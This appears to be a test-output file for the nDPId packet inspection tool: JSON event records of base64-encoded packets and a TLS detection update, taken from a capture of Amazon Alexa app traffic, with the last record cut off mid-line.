+02383{"flow_id":43,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":708686,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc2olAANwG0QxIFc6HrBAq2AG7pJISbnJjAlYhPlAQASwTGgAAUSPF\/O4EUbS8iqtYW7XeLLFSQkwsNcW0blJi29ViWiroJecqf42koTiJbu21bzXz9NnWx3QZbP7HECKHS8zsIT3wSAg60lzeHBDW9OEnRzctCFd061UcVfmvjmUGgRaAHvZ7KX0Enz4wDCPEaugLfuNk0KjthMfnxC15ABSBgZ3qZBOnTbwhDWuR8lFaApR2cPTN2navpN7AHeLN5gXvpLuLlv7EGbuQwuxCa1AGr9yt4Oc1bKCLJ9usVuCIWzTdGAutoouvNMxOnvMTumCjH0ejhkZjzXQl8u+jtC5TbVZqImKVOkayTYaP10vdNEAbljkABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jM="} +02389{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":708747,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc2opAANwG0QtIFc6HrBAq2AG7pJISbngXAlYhPlAQASy+oAAAguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMGURYABk0BAAZJMIIGRQoBAKCCBj4wggY6BgkrBgEFBQcwAQEEggYrMIIGJzCBnqIWBBRFIAKoi4pln3X69ekKGnjS8DcLnhgPMjAxNzAzMzExNDQ0NTVaMHMwcTBJMAkGBSsOAwIaBQAEFNGxZIuMnw3Ra6OKzStQF9X5z8BkBBRfYM9hkFXfhEMUimAqsvV69EMY7wIQI1ymMU7NRKy8vpedPadCEIAAGA8yMDE3MDMzMTE0NDQ1NVqgERgPMjAxNzA0MDcxNDQ0NTVaMA0GCSqGSIb3DQEBBQUAA4IBAQBF6EKFZ1knzWaKjpd1EHbBhF+vBD+Pb5jGJvQ7g3vJZu86FO4kCtZBxKZ0Otr7kXawtFLPQhcBgtM3WGLDS7\/6wvTJdN4fZ0QyzCzTp6q+8UwYOO7uy7R3q0Sob7e\/vf5C10NcDwAqtk4zy4mw2gjKcjCEchqehMvhhObJZfZiwBSeTqEt4ZSJ0gBT\/rv1ZbLkIKs6y\/yS3trFv2EXbi1dDhXd+s5gDJQ+Z4IuN0AmnUA9gLpR7559r6n42AR1MvfF9nRl2troBchZJCqslWOgwvx\/Ih\/1i9PisnYAZyVoek0PXB\/OG\/kMnOd0UZkuJLSgx4XYAXEX2FgTY+xHklRooIIEbjCCBGowggRmMIIDTqADAgECAhBEaJBjaUgF1sr2\/bnRxAUhMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMjA0MDAwMDAwWhcNMTcwNTA1MjM1OTU5WjBAMT4wPAYDVQQDEzVTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNCBPQ1NQIFJlc3BvbmRlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKorQp99vkC6qr9FMqUYxael0Lsma2caI4BjC9k3ZiMwrp+dvSECA4wbWstHvoB86W8Zmld7Mq1ttWywY03MGfAl96ON0PiOVo1XeDZJuXTb9bQLUSxVXuzgnwObGDuWVTxpZR3qrFjJe8I2AyvTNPjgAGVwl7uVg3Gd5k91Vvn7w0bjxB5zGmYSAubCIfzzpr1LFn\/mgU8Ju+6LT2qsP1lkNl5NbHeONr1r1usqgi\/wvPaimgi5Yv\/cUTSSwwVIrnOXifiKGb\/Rt4Io5QAadG9Xwt\/ZOc2UhoGbgcKuh\/LD\/AYHFyYV6RFExgwbe1R77b2XjRqilbA04jsvcGE8xOsCAwEAAaOCARwwggEYMA8GCSsGAQUFBzABBQQCBQAwIgYDVR0RBBswGaQXMBUxEzARBgNVBAMTClRHVi1ELTM4NTcwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wHQYDVR0OBBYEFEUgAqiLimWfdfr16QoaeNLwNwueMAwGA1UdEwEB\/wQCMAAwbgYDVR0gBGcwZTBjBgtghkgBhvhFAQcXAzBUMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAqBggrBgEFBQcCAjAeGhwgIGh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA4GA1U="} +01160{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":513,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":11,"flow_first_seen":1490976043814,"flow_last_seen":1490976044708,"flow_tot_l4_data_len":5243,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":476,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42130,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","server_names":"fls-na.amazon.ca,fls-na.amazon.com,fls-na.amazon.com.br,fls-na.amazon.com.mx","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=fls-na.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2F:16:23:0F:F8:49:12:18:49:55:48:DA:E6:59:D9:B3:BB:0E:41:8A"}} +01276{"flow_id":43,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":708785,"pkt_caplen":688,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":688,"pkt_l4_len":654,"pkt":"ePiC0\/vCAMDKkVoBCABFAAKi2otAANwG1ERIFc6HrBAq2AG7pJISbn3LAlYhPlAYASyPgQAAHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAHgcwWI1WEf915v+BMHzpq1UXjLCqvTFqlTJ6sCk3BCr8RHH4\/a+5XpxufufD6fAA8qZDYLX\/mas8o74I3yLjqr4l1CZ9vdShO6hhBVdjNDlbGEeKPsyMXuzCqxDoAkBqBZL\/pLDi+dSEwlIm2L7LpyiM0wZFDUyfTXTOMDl\/aaq1BslxdPB7rr+FWw9AgwkWCRfnrkwMRszEI7YCaM8kV8sGbR0LDnNx8V+MlL7E+4HxoSjruiAfX0\/mSXLK4Dgdl52tAdcoDAedZSz+H6Y\/busqrTk1nTRwIksEFRr6U5ipHH8d5KWkp1E61BrXCPT2wUDJ5IXYSSMy68heruHRA4WAwMBTQwAAUkDABdBBPt1O4wK+mY0dqg7diyHTgbv3Xrf\/1sLL3Gm+t1a6u6xIf8jiLQy9uH1oA75I21Ts8dk3PkXK1tX3jxfM55dQVsGAQEAQbjVrQtCzDEy+dmi5i\/C\/UKUWQ4NhjRVdBISrqMlvK8oeRECqntIZ03lZEQaM9SZPu6hHyeeJDSlJc2LzHueF+cu\/X0xTzCrnhTUUdCeTmuQEtM5DqcoRMN7Yf1igE037BdZqs9PwpmsmJARiH3y8EtLJuQh8RHXhDN1avl8XPldUGcXCuHhazzSyYBVL8vfnvrpFFU5eqsUEvKprwSqQCwelcZc5cDcT+ud8R1vC994oQ0IzQpFJMgNehxcRcfMUDhYWmFcL4ZsINReVqo84Uja9MPTB8Siiw+97yxtTJWf2HJw1Mf8CPaWEz9eZ9f+jn9GHbWMNDoUTnff3hf7iRYDAwAEDgAAAA=="} +00415{"flow_id":43,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":710673,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyJAAEAG3iisECrYSBXOh6SSAbsCViE+Em5yY1AQAWJyOgAA"} +00415{"flow_id":43,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":710963,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyNAAEAG3iesECrYSBXOh6SSAbsCViE+Em54F1AQAW1sewAA"} +00415{"flow_id":43,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":711096,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAobyRAAEAG3iasECrYSBXOh6SSAbsCViE+Em59y1AQAXlmuwAA"} +00498{"flow_id":50,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":720588,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjpBdAAEAGorCsECrYNF7ohrJvAbuLWOyWprYheVAYAVfdlAAAFAMBAAEBFgMBADDj73lySYiOhfQ+c\/xsYQ9JIHYjruRN9aJAcfQKRsHzRcrGOP4kxgM84\/oxVmRNPDc="} +00498{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":735551,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjdBVAAEAG0rKsECrYNF7ohrJuAbv0jjySu8ryJlAYAVdF+gAAFAMBAAEBFgMBADBS6H4eziNDdHPyEkEo1A2hjfaPxUXWAYB4xBw3KDUS15F\/rcvtLPHtCkkDshdUF20="} +01953{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":748212,"pkt_caplen":1184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1184,"pkt_l4_len":1150,"pkt":"AMDKkaPvePiC0\/vCCABFAASS079AAEAGbtmsECrYNF7ohrJtAbvCg502D9ZxmFAYAVfabwAAFwMBACDGEWxnb5WDFFFskRFoJXGwqdhUMg\/NxX1yPLIT61tV\/RcDAQRA2Jy40+UOIBUFYoLA7FmNk7DzyDT7X5QWGqhT9u8urtNrnjn+AWSCr2SVxH0yLiwaVGb2A4UHXighCg2rd9ngwvG9Cttthsmvgq84hSQW+P4mYkUq8Ei8TojfWrrioSPfm7HaWX1D+DxG71D7\/5B3WymCgk2e8bGV8woDTVjgHpE+A57PAx5xFqH1rOlVgPL8sl6\/pIZb8IiMHghZL995DN+7+hY688\/Qatr3TSXbSvjRkyz4mUYjGLmg5J1aLXOCaVg\/Buv\/njlzFPvEMamdJu\/pBmstrKUbetRU2JKKCwyG\/RDr8iCdKFFoq3KiBkvJmQUi+2JDkRqO3PTyjIQ3Czaq1qzUQlBNqEWZt28NF0iTFZc0xtiedorNdKb2S\/g6hOMu47l+cm6culIoRXea6yrrdlKzJj4\/enS\/66IioCih+wLg7cMFBaDDKTu9c8CZnRuexP5M0IPxvadR6vqnzQA3aJShuj5eARtjXRZxHPI41lR6AA8r2BK0CH7Nv9kxjvAdYMlq97FQdgF8jsSHyTM5vArc1j1v7LOlJ+4CHIGMwnsuqdoiSOtDiYzFnLpxOw71CrJz6DTq1NjRoqd59jEwLoovAz5EkmHdU7x+6KZcXVQ06L\/0D4Oow0IPn8K9AKykIzTDhdVctxc4Txcd10ErgK4A6M7Cu9bDW46PWSc3invG4\/GCfCfUST0s9uE\/AJsFZSmqozbi06DuWqdNnlgcqAnBU6rCOqMo+CPkErD6O6HhMXj8VEoJN1C+geSfjPHilBkaX7PyyBWCU5hi8CFluN+GWE6MvMlm5PxiwsMxJ0Fk+f4uk8BGsC2RiEYuqhacPGFaAgnEJPoFWQofSXGTaB1jd0DYCo0WYB51uUxF0YuTt3a6Qh0olGJUBDabyXCdpwOKUD\/CYEq7lHbJrJMy76QGkiWduSWBx9iFw83Kg0ifzt4\/gsesbfgxGKov\/7mW36WAv6oq878aiWKSdqdnZE4NuHbpTDRzee+MEUlQGgGnO5E8V9Lv+F+O+BwOdsdcSetGuqHZLGEnLV+FCBUaLPih7h1Bk1538bLPVYSR58evV3AIpdJGyKUBUHrg6QN+uxeCWI7hyKKOOLQR5O0WQTI2VhGIkYCzYUWl5SA3jClqjB8YehaMLeJ\/\/idjaJOA1RMae9Sfg7jd2zxJwC7oVve36\/4hKBymWC4J\/mbRcI8hxvqnlM8WJXH1nmKX3YZtNF1v9eHAPkMu67+XyzR3jrHnh4cZRcwxD4njNAo8WgMWFidP7lsUt+8li4b+TU7vaXZmO9PFjp4BrvXezGQxabxP\/8wNFnPji31X1ti2NaX0ZjwWtXzzanE81+jwP4fJDJoFV8w+w6f0kLIxkz+fW8LIuvvntGorDSeSHZwT2\/PhagmYJub60KqfhVuVnljt6ft1GGqWsX43YZFjRdaJ53bmZwEzWdj6SlTudVQ="} +01965{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":774031,"pkt_caplen":1200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1200,"pkt_l4_len":1166,"pkt":"AMDKkaPvePiC0\/vCCABFAASiGDtAAEAGKk6sECrYNF7ohrJsAbtUI1iwkQU151AYAVfARwAAFwMBACDMVucazq7CQpH53Azi\/CqvqV5HuIYjrAgXBLZ+T4bDRxcDAQRQ9T26\/anSnNMjNaOFtDJdvrhW5ziPonjkFVP+GJGJvHT2BvENYARVp\/dznHB8zXjda2WKOrXoPBa3MdP+5XczX\/qdewWQafNj3vbeSOekTU1gbhA6+hu+N3qZIFAl40SP5VlPqU1RYgDXXv6qtFdJmEMTa279CuqLv0qbLKz0ChGuIylfoAVtRBMdYfGEIbmZfpOLGxmpndSQeKKzbs3UYN61L9v8ja4P6teY1GPViUvLLKKbZkq53RHBTGxuvu2FxG14yOrSRhz16dK2sJ6K2QRv+IgH4XHAppg76IIx0AwAF53ILXfUvYhwAS3ctEvtwrDfLMG1\/IanQQTdbs7oKUPdEZtfPFClaZrKR8SWTXhp80WlIol9NMVJBZcIXkMzBlac+CVJ6vTeb3jvNhEpNBBJWKuUF5AfClLmPanpq6h5Rdk8ilghRYGE60FzTlpZY1R6pXqXQYVmaF1DEg9mS41RYSnaM\/3K4j6GWZ49JTMTlJBdzViF+B8TBm6G5sGOVIEDhY1o20RIRFUjDs846V\/RYPFu8DDmEuMScs8RoAAuznByvZODBv8jqpSXVNmxGW1keVG7Mg1mVM8AAGCpjjnkcKLG4IpNhNPFtQ+XcFV4ROqkFbIWf0DzRkKDFdOCSVPDlZBpvBZu2N5UdC58d1LDblF94I32MM6kC4sDfg95RCzPl\/0cLA61JeTSmBwitf4NPAglE7Bg7kjr7FxwUJtaN183UUBDbVLxIUMGXEYHz83\/LSd\/8RhtC9dfBSZr9oq+pIGOYAVz2MffcyH3W7lMW0CnsPsOjlEfcCeALtlW+7bZej6rfaOtEbzfie6GVeNnHDrrsRo6nO7cSd87kTl0fq2fgIGoFsGylO5KaXlf6ZWC7SSr3X+oMDbyzhCDnn23FWTLaWGIDW3EGKcOEPPN+sHhJ5766BcSSqq7TjVza7FYDQ8zTf2nxnd0iMmSNUAn5WJ00f\/LuAyqIig9o9oA2rYTCTmXILuz5k+7y5w9IitlFtOtDyk1ONlAKJQh0\/\/YymnfJDwBKBivd5FTrR1k+Z2WXYK2HgUaxSoG1A1T5q0V6xMCFXHUyoqRlZyTi0pBknRy9UvTZpuKg6XD6vVFPhb\/YUAijx\/IxtpwU7cHiw5NFWquNUN6IowtuCypHLWimq0XAzkM0YQrAjaUIfwIP7Srn1AAFJGQC2EQ8jlMmyeu6bfBP4yMF7rl0IAUxW2HO76GAvmQa4ScScsudwNfE3yahZbr6x5hKMbZSGJ7nS2tzhsRhzIWtzIaFPBIKAMqrgrjeIE7KbWmtl+eps0VwX2V5samNUq6mNMLrdKE9+p6rwRL1A+n8FNxbaf024uf5\/1eNt3Gy4Bh2d00vU5Q3DX7NEkTV9E+uLcx1C8Fi6i9pAyf37ScvRP96qRVkrXnOAyFf94p8wQ2idix0mBprAIizJKj3o6dzMhryJYvNiwnJWz+vmOP0xpZblY9"} +00424{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":847287,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoP9tAAOcGYCc0XuiGrBAq2AG7sm0P1nGYwoOdNlAQf\/emvgAAAAAAAAAA"} +00424{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":847419,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo751AAOcGsGQ0XuiGrBAq2AG7smyRBTXnVCNYsFAQf\/cUKAAAAAAAAAAA"} +00424{"flow_id":50,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":847461,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoJ+JAAOcGeCA0XuiGrBAq2AG7sm+mtiF5i1js0VAQf\/dHiwAAAAAAAAAA"} +00424{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":847539,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAox3NAAOcG2I40XuiGrBAq2AG7sm67yvIm9I48zVAQf\/eomAAAAAAAAAAA"} +01748{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":910321,"pkt_caplen":1050,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1050,"pkt_l4_len":1016,"pkt":"AMDKkaPvePiC0\/vCCABFAAQMt7pAAEAGi2SsECrYNF7ohsG1AFD+AvgdsHQ7blAYAVc4SwAAR0VUIC9saWIvYm9vdHN0cmFwL2ltZy9nbHlwaGljb25zLWhhbGZsaW5ncy5wbmcgSFRUUC8xLjENCkhvc3Q6IGFsZXhhLmFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vbGliL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KQ29va2llOiBjc3JmPS04NDYxMjczODsgc2Vzc2lvbi1pZC10aW1lPTIwODI3ODcyMDFsOyBzZXNzaW9uLXRva2VuPSJlZnRGbVk1RjVyVGd3czduK2VDZFhaU1R5SGNEeWtObDNNMXBjbzNSVktqeW43eW50T2tKNkxMRXlENUR4a3VuMnJaQXd5aVFVTlBKcVZtOG9HWE5xSG1mZjFwTjlZSWtML2lUQy9XQjY1eDc5RWFIWTdQN0JMMWZSS2VIWDNwSFc4ZW03SFJ6Q3ZkcGF1WWtzV0ZZTzBOTWVWclB6MWNYZVpIeldyejM4ZjdxRlhsOTFxaEhZdlRndHVKV2tsRlRkWmdpbHRNYmMvbz0iOyBzZXNzaW9uLWlkPTE1NC0zMTAzMjY1LTI5MzI1MTY7IHgtbWFpbj0idWlUck1lOHdRV3l6ekJsM2s5eUNQbExYUk1TVWFtTXhDWTZRZ1A4azlwd0pmcE1KT0tZWHN5UT9za3JBOEFhTiI7IHViaWQtbWFpbj0xNTItODc2MzUwNS03MzA0OTA0OyBsYy1tYWluPWVuX1VTDQpYLVJlcXVlc3RlZC1XaXRoOiBjb20uYW1hem9uLmRlZS5hcHANCg0K"} +00423{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":534,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":996028,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoQzZAAOcGXMw0XuiGrBAq2AG7sm0P1nGYwoOhoFAQf+WiZgAAAAAAAAAA"} +00423{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":996104,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo8LtAAOcGr0Y0XuiGrBAq2AG7smyRBTXnVCNdKlAQf+UPwAAAAAAAAAAA"} +01562{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":997034,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtQ0tAAOcGWXI0XuiGrBAq2AG7sm0P1nGYwoOhoFAY\/bjcAgAAFwMBA0BjFKctZl24ycJQD8a+qAA7NL5YWcsDCV9NfcS+w0sqrZtghoDS9OJJdP9mq0OL4AEcQTdZFNfpqfwwbvDmjv3\/toj06EHGLW2HOLnD177ioogZprxiVK9dqu9tsKhhE5\/5rWSkTZ6BjdSwa\/L3N0oAeFh1tWtSDd71ol7Sf97W5FTusmkuFIlBpPqeN9z3vNIyx1LEf9fVc6mlqK3SaiEoNq6havctms2\/kZDJQHe1dFddAwfBjqqRP6Gz+jY77twHF\/chQRodAb4DJIheWwiEBu9pK3VgwUJK\/zCH9tMTne4Du\/8heh4bp1n6oImGcMTx4BQpCe8Z0OHB+7dFpbP9gOLmVnHbvwsDPr7kLRm71MYbmjoEgd\/rqXIhIA0J3D54Mp8IvdWhpXxzgMg